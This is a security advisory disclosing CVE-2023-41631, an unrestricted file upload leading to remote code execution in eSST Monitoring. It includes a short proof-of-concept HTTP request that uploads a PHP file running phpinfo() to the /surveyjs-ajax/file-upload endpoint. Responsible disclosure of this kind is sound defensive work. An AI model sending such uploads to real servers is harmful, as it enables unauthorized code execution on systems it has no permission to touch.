Security advisory

Unrestricted file upload leading to Remote Code Execution

October, 2023

CVE-2023-41631
Release date: 07/09/2023
Department: POST Cyberforce
Pianezzola Thomas

Vulnerability summary

Product	eSST Monitoring
Product homepage	https://esst.lu
Affected product versions	2.147.1 and below
Severity	Critical - CVSS v3.1 score: 9.1
CVSS v3.1	AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE	CWE-434
Workarounds	In progress

Validated impact:

Unrestricted file upload leading to Remote Code Execution.

Timeline

Date	Action
27 07 2023	Vulnerability identification, exploitation and impact validation
27 07 2023	Vendor notified and acknowledged the vulnerability
31 08 2023	CVE-2023-41631 assigned by MITRE
07 09 2023	Vendor informed about assigned CVE id

References:

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41631
- https://cwe.mitre.org/data/definitions/434.html
- https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

Product description

eSST monitoring can be used to train, prevent, advise or support employers, resource persons or designated workers.

Advisory

A file upload feature available from an authenticated perspective is prone to unrestricted file upload.

Vulnerability description

Lack of user input sanitization on a file upload feature lead to unrestricted file upload and thus, remote code execution.

Vulnerable endpoints:

The `files` array parameter on `/surveyjs-ajax/file-upload` endpoint is concerned by this vulnerability.

Proof of concept

```
POST /surveyjs-ajax/file-upload HTTP/1.1
Content-Type: multipart/form-data;
...
Content-Disposition: form-data; name="files[]"; filename="test.php"
<?php phpinfo(); ?>


HTTP/1.1 200 OK
{[\{"file":\{"name": "XX\_randomstr\_test.php"\}\}]}
```

Recommendation

Contact eSST to receive the patched version of the software.